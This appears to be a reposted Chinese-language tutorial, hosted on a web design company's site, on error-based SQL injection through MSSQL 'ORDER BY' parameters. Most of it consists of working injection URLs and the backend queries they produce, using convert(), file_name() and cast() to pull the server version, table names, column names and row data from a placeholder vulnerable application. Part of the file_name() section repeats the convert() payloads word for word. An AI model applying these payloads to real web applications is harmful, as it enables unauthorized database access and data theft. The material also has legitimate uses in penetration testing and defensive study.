如何理解基于MSSQL“orderby”語句報錯的SQL注入技術

這期內容當中小編將會給大家?guī)碛嘘P如何理解基于MSSQL “order by”語句報錯的SQL注入技術,文章內容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

我們提供的服務有:成都網(wǎng)站制作、網(wǎng)站設計、外貿(mào)網(wǎng)站建設、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認證、易縣ssl等。為近千家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務,是有科學管理、有技術的易縣網(wǎng)站制作公司

我們要利用的SQL注入漏洞出現(xiàn)在下面的情形中:當用戶提供的數(shù)據(jù)通過MSSQL的“Order By”語句中的值進行傳遞時,如果SQL查詢中存在語法錯誤,那么應用程序就會拋出SQL Server錯誤。

如果用戶提供的數(shù)據(jù)在“Order By”子句中作為列名傳遞給SQL查詢的話,那么常規(guī)的“基于錯誤的SQL注入”漏洞利用技術就無法生效了。

由于SQL Server已經(jīng)為SQL查詢預定義了一套安全規(guī)則,因此,我們無法使用常規(guī)的“基于錯誤的SQL注入”技術來攻擊應用程序中的SQL注入漏洞。

不過,由于用戶可以在Order by子句之后指定函數(shù)名稱,同時,有些SQL server函數(shù)可以執(zhí)行以參數(shù)傳入的查詢,并嘗試對注入的查詢的結果執(zhí)行某些操作,如果操作遇到問題就會拋出錯誤,所以,如果我們對這些函數(shù)進行注入攻擊,那么這些函數(shù)就會暴露注入的SQL查詢的結果——這就是我們的漏洞利用思路。

漏洞利用

下面我們開始介紹可用于基于錯誤的SQL注入攻擊的函數(shù)。 ( 內容推薦>>>>>>SQL注入漏洞的分析與利用 )

實際上,確實有少數(shù)幾個SQL server函數(shù)可以滿足我們的要求:執(zhí)行其參數(shù)指定的SQL查詢,并對查詢結果執(zhí)行指定的操作,還能通過錯誤消息給出SQL查詢結果。

Convert()就是滿足上述要求的一個函數(shù),它常用于基于錯誤的SQL注入攻擊中,因為它會按照第一個參數(shù)中指定的數(shù)據(jù)類型對第二個參數(shù)執(zhí)行轉換操作。

例如,對于convert(int,@@version),convert函數(shù)首先會執(zhí)行第二個參數(shù)指定的SQL查詢,然后嘗試將查詢結果轉換為int類型。但是,由于這個SQL查詢的結果是varchar類型,無法進行指定的轉換,所以,convert函數(shù)會拋出一個SQL server錯誤消息,指出“SQL查詢結果”無法轉換為“int”類型,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。

下面列出滿足上述要求的各個函數(shù):

· convert()

· file_name()

· db_name()

· col_name()

· filegroup_name()

· object_name()

· schema_name()

· type_name()

· cast()

演示:

假設這里有一個包含SQL注入漏洞的URL,它會將HTTP GET方法中名為“order”的參數(shù)的值(該值由用戶指定)傳遞給SQL查詢。該URL如下所示:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

然后,應用程序會從HTTP GET方法的參數(shù)“order”中接收用戶提供的數(shù)據(jù),并生成如下所示的SQL查詢:

Select table_name,column_name from information_schema.columns order by column_name

convert() 函數(shù)

· 查詢SQL server版本

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

在后臺實際執(zhí)行的查詢:

select table_name,column_name from information_schema.columns order by

convert(int,@@version)

如何理解基于MSSQL “order by”語句報錯的SQL注入技術

· 提取當前數(shù)據(jù)庫的表名

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))

· 從表中提取列名

在提取列名的時候,我們可以使用cast()來規(guī)定要從哪些表中提取列名。需要注意的是,這里的表名是用“十六進制”形式表示的。

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))


如何理解基于MSSQL “order by”語句報錯的SQL注入技術

· 提取表中的列數(shù)據(jù)

從數(shù)據(jù)表的列中提取數(shù)據(jù)實際上并不復雜,只需在SQL查詢中指定列名和表名即可。在本例中,我使用的列名為’xserver_name’,表名為’spt_fallback_db’。

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)

xserver_name from spt_fallback_db))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) xserver_name from spt_fallback_db))

如何理解基于MSSQL “order by”語句報錯的SQL注入技術

file_name()函數(shù)

· 查詢SQL server版本

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

在后臺實際執(zhí)行的查詢:

select table_name,column_name from information_schema.columns order by

file_name(@@version)


如何理解基于MSSQL “order by”語句報錯的SQL注入技術

· 提取當前數(shù)據(jù)庫的表名

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)

table_name from information_schema.columns))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from information_schema.columns order by

CONVERT(int,(select top(1) table_name from information_schema.tables))


如何理解基于MSSQL “order by”語句報錯的SQL注入技術

· 從表中提取列名

在提取列名的時候,我們可以使用cast()來規(guī)定要從哪些表中提取列名。需要注意的是,這里的表名是用“十六進制”形式表示的。

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)

COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

convert(int,(select top(1) COLUMN_NAME from information_schema.columns where

TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))


如何理解基于MSSQL “order by”語句報錯的SQL注入技術

· 從表中提取列數(shù)據(jù)

從數(shù)據(jù)表中提取列數(shù)據(jù)其實很簡單,只需在SQL查詢中指定列名和表名即可。在本例中,我使用的列名為’xserver_name’,表名為’spt_fallback_db’。

注入相關命令后的URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)

xserver_name from spt_fallback_db))

在后臺實際執(zhí)行的查詢:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by

file_name((select top(1) xserver_name from spt_fallback_db))

上述就是小編為大家分享的如何理解基于MSSQL “order by”語句報錯的SQL注入技術了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

當前文章:如何理解基于MSSQL“orderby”語句報錯的SQL注入技術
網(wǎng)站路徑:http://muchs.cn/article48/pidohp.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供Google、網(wǎng)站營銷、域名注冊App開發(fā)、響應式網(wǎng)站、微信公眾號

廣告

聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站建設